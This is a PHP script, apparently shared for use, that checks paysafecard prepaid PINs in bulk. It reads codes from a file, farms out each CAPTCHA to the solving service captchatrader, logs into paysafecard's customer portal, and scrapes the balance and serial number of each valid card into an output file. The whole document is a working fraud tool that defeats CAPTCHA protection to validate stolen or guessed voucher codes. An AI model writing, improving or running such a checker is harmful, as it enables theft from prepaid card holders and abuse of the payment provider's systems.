Code:
<?php
//psc checker with captchatrader support
//script by inout
error_reporting(E_ALL);
//config start
define('PSC_LOGIN_URL', 'https://customer.cc.at.paysafecard.com/psccustomer/GetWelcomePanelServlet');
define('PSC_CAPTCHA_URL', 'https://customer.cc.at.paysafecard.com/seam/resource/captcha');
define('INVALID_PIN_PASSWORD_STRING', 'Bei der Eingabe des');
define('WRONG_CAPTCHA_STRING', 'Der eingegebene Text stimmt nicht');
define('USER_AGENT', 'Mozillla/5.0 (Windows NT 6.1; WOW64; rv:2.0) Gecko/20100101 Firefox/4.0');
define('COOKIE_FILE', 'cookie.txt');
define('CAPTCHA_FILE', 'captcha.jpg');
define('SOCKET_TIMEOUT', 60);
define('CAPTCHATRADER_SUBMIT_URL', 'http://api.captchatrader.com/submit');
define('CAPTCHATRADER_RESPOND_URL', 'http://api.captchatrader.com/respond');
define('CAPTCHATRADER_GET_CREDITS_URL', 'http://api.captchatrader.com/get_credits/username:{USERNAME}/password:{PASSWORD}/');
define('CAPTCHATRADER_USERNAME', '');
define('CAPTCHATRADER_PASSWORD', '');
define('CAPTCHATRADER_API_KEY', '');
define('PSC_CODES_INPUT_FILE', 'psc.txt');
define('RESULT_OUTPUT_FILE', 'out.txt');
define('RETRY_BAD', true);
//config end
$default_curl_options = array(CURLOPT_USERAGENT => USER_AGENT,
CURLOPT_COOKIEFILE => COOKIE_FILE,
CURLOPT_COOKIEJAR => COOKIE_FILE,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FRESH_CONNECT => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_FAILONERROR => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_CONNECTTIMEOUT => SOCKET_TIMEOUT,
CURLOPT_TIMEOUT => SOCKET_TIMEOUT);
function psc_get_cookie(&$error)
{
$error = false;
$ch = curl_init(PSC_LOGIN_URL);
if($ch !== false)
{
global $default_curl_options;
curl_setopt_array($ch, $default_curl_options);
$src = curl_exec($ch);
$error = curl_error($ch);
curl_close($ch);
return $src !== false;
}
return false;
}
function psc_get_captcha($ch, $captcha_file)
{
$fp = fopen($captcha_file, 'w');
if($fp !== false)
{
curl_setopt_array($ch, array(CURLOPT_URL => PSC_CAPTCHA_URL,
CURLOPT_FILE => $fp));
$ok = curl_exec($ch);
fclose($fp);
return $ok;
}
return false;
}
function psc_get_data($src)
{
$data = array();
if(preg_match('#<td class="cell1">Wert</td>\s*<td class="cell2"><table>\s*<tbody>\s*<tr>\s*<td>(.+?)</td>\s*<td>(.+?)</td>\s*</tr>\s*</tbody>\s*</table>\s*</td>#i', $src, $match))
{
$data['credit'] = $match[1];
$data['credit_currency'] = $match[2];
}
if(preg_match('#<td class="cell1">Verfügbares Guthaben</td>\s*<td class="cell2"><table>\s*<tbody>\s*<tr class="price">\s*<td>(.+?)</td>\s*<td>(.+?)</td>\s*</tr>\s*</tbody>\s*</table>\s*</td>#i', $src, $match))
{
$data['available_credit'] = $match[1];
$data['available_credit_currency'] = $match[2];
}
if(preg_match('#<td class="cell1">Seriennummer</td>\s*<td class="cell2">(\d+)</td>#i', $src, $match))
$data['serial_number'] = $match[1];
if(preg_match('#<td class="cell1">In Zahlung</td>\s*<td class="cell2"><table>\s*<tbody>\s*<tr>\s*<td>(.+?)</td>\s*<td>(.+?)</td>\s*</tr>\s*</tbody>\s*</table>\s*</td>#i', $src, $match))
{
$data['paid'] = $match[1];
$data['paid_currency'] = $match[2];
}
if(preg_match('#<td class="cell1">Produktionsdatum</td>\s*<td class="cell2">(.+?)</td>#i', $src, $match))
$data['production_date'] = $match[1];
return $data;
}
function psc_login($ch, $pin, $captcha, $pass = '')
{
$pin_parts = str_split($pin, 4);
curl_setopt_array($ch, array(CURLOPT_RETURNTRANSFER => true,
CURLOPT_URL => 'https://customer.cc.at.paysafecard.com/psccustomer/GetWelcomePanelServlet',
CURLOPT_REFERER => 'https://customer.cc.at.paysafecard.com/psccustomer/GetWelcomePanelServlet',
CURLOPT_POSTFIELDS => "mainPagePart=mainPagePart&mainPagePart:rn1={$pin_parts[0]}&mainPagePart:rn2={$pin_parts[1]}&mainPagePart:rn3={$pin_parts[2]}&mainPagePart:rn4={$pin_parts[3]}&mainPagePart:passField=$pass&mainPagePart:verifyCaptcha=$captcha&mainPagePart:next=OK&javax.faces.ViewState=j_id2"));
$src = curl_exec($ch);
if($src !== false)
{
if(stripos($src, WRONG_CAPTCHA_STRING) !== false)
return 'wrong captcha';
else if(stripos($src, INVALID_PIN_PASSWORD_STRING) !== false)
return 'invalid pin/password';
else
return psc_get_data($src);
}
return false;
}
function valid_psc_code($psc_code)
{
return preg_match('/^\d{16}$/', $psc_code);
}
function psc_data_to_string($data)
{
$str = '';
foreach($data as $key => $value) $str .= "$key: $value\n";
return $str;
}
function captchatrader_submit($username, $password, $api_key, $captcha_file)
{
$ch = curl_init(CAPTCHATRADER_SUBMIT_URL);
if($ch !== false)
{
global $default_curl_options;
curl_setopt_array($ch, $default_curl_options + array(CURLOPT_POSTFIELDS => array('username' => $username, 'password' => $password, 'api_key' => $api_key, 'value' => "@$captcha_file")));
$src = curl_exec($ch);
if($src !== false)
$return = json_decode($src, true);
else
$return = curl_error($ch);
curl_close($ch);
return $return;
}
return false;
}
function captchatrader_respond($username, $password, $is_correct, $ticket)
{
$ch = curl_init(CAPTCHATRADER_RESPOND_URL);
if($ch !== false)
{
global $default_curl_options;
curl_setopt_array($ch, $default_curl_options + array(CURLOPT_POSTFIELDS => http_build_query(array('username' => $username, 'password' => $password, 'is_correct' => $is_correct, 'ticket' => $ticket), '', '&')));
$src = curl_exec($ch);
if($src !== false)
$return = json_decode($src, true);
else
$return = curl_error($ch);
curl_close($ch);
return $return;
}
return false;
}
function captchatrader_get_credits($username, $password)
{
$ch = curl_init(str_replace(array('{USERNAME}', '{PASSWORD}'), array($username, $password), CAPTCHATRADER_GET_CREDITS_URL));
if($ch !== false)
{
global $default_curl_options;
curl_setopt_array($ch, $default_curl_options);
$src = curl_exec($ch);
if($src !== false)
$return = json_decode($src, true);
else
$return = curl_error($ch);
curl_close($ch);
return $return;
}
return false;
}
if(psc_get_cookie($error))
{
$ch = curl_init();
if($ch !== false)
{
$use_captchatrader = CAPTCHATRADER_USERNAME != '' && CAPTCHATRADER_PASSWORD != '';
$ok = !$use_captchatrader;
if($use_captchatrader)
{
echo "checking captchatrader status...\n";
$credits = captchatrader_get_credits(CAPTCHATRADER_USERNAME, CAPTCHATRADER_PASSWORD);
if(is_array($credits))
{
if($credits[0] == 0)
{
$ok = $credits[1] > 0;
if($ok)
echo "captchatrader credits available: {$credits[1]}\n";
else
echo "no captchatrader credits available\n";
}
else
echo "unable to get captchatrader credits: \"{$credits[1]}\"\n";
}
else
echo "unable to get captchatrader credits: \"$credits\"\n";
}
if($ok)
{
if(file_exists(PSC_CODES_INPUT_FILE))
{
$psc_codes = file(PSC_CODES_INPUT_FILE, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
if($psc_codes !== false)
{
if(is_writeable(RESULT_OUTPUT_FILE))
{
curl_setopt_array($ch, $default_curl_options);
foreach($psc_codes as $psc_code)
{
$psc_code = trim($psc_code);
if($psc_code == '') continue;
$tmp = explode(':', $psc_code);
$psc_code = $tmp[0];
$psc_code = str_replace('-', '', $psc_code);
if(!valid_psc_code($psc_code)) continue;
$password = count($tmp) > 1 ? $tmp[1] : '';
while(true)
{
echo "checking $psc_code";
if($password) echo ":$password";
echo "\n";
if(psc_get_captcha($ch, CAPTCHA_FILE))
{
if($use_captchatrader)
{
echo "submitting captcha...\n";
$submit = captchatrader_submit(CAPTCHATRADER_USERNAME, CAPTCHATRADER_PASSWORD, CAPTCHATRADER_API_KEY, CAPTCHA_FILE);
if(is_array($submit))
{
if($submit[0] != -1)
{
$captcha = $submit[1];
echo "captcha received: $captcha\n";
}
else
{
echo "unable to submit captcha: \"{$submit[1]}\"\n";
break 2;
}
}
else
{
echo "http error while submitting captcha: \"$submit\"\n";
break 2;
}
}
else
{
exec(CAPTCHA_FILE);
echo 'captcha: ';
$captcha = stream_get_line(STDIN, 1024, PHP_EOL);
}
$data = psc_login($ch, $psc_code, $captcha, $password);
if(is_array($data))
{
echo "check ok\n";
$str = $psc_code;
if($password) $str .= ":$password";
$str .= "\n";
$str .= psc_data_to_string($data);
$str .= "\n";
echo $str;
if(file_put_contents(RESULT_OUTPUT_FILE, $str, FILE_APPEND) === false)
echo "unable to write output file\n";
}
else if(curl_error($ch))
echo 'http error: "' . curl_error($ch) . "\"\n";
else
{
echo "$data\n";
if($data != 'wrong captcha') break;
}
if($use_captchatrader)
{
$respond = captchatrader_respond(CAPTCHATRADER_USERNAME, CAPTCHATRADER_PASSWORD, is_array($data), $submit[0]);
if(is_array($respond))
{
if($respond[0] == 0)
echo "captcha response ok\n";
else
{
echo "unable to respond to captcha: \"{$respond[1]}\"\n";
//break;
}
}
else
{
echo "http error while responding to captcha: \"$respond\"\n";
//break;
}
}
if(!is_array($data) && $data == 'wrong captcha' && RETRY_BAD)
echo "retrying\n";
else
break;
}
else if(curl_error($ch))
echo 'http error: "' . curl_error($ch) . "\"\n";
else
echo "unable to create captcha file\n";
}
}
}
else
echo "output file is not writeable\n";
}
else
echo "unable to load psc codes input file\n";
}
else
echo "psc codes input file not found\n";
}
curl_close($ch);
}
else
echo "unable to create curl handle (2)\n";
}
else if($error)
echo "unable to get curl cookie: \"$error\"\n";
else
echo "unable to create curl handle (1)\n";
?>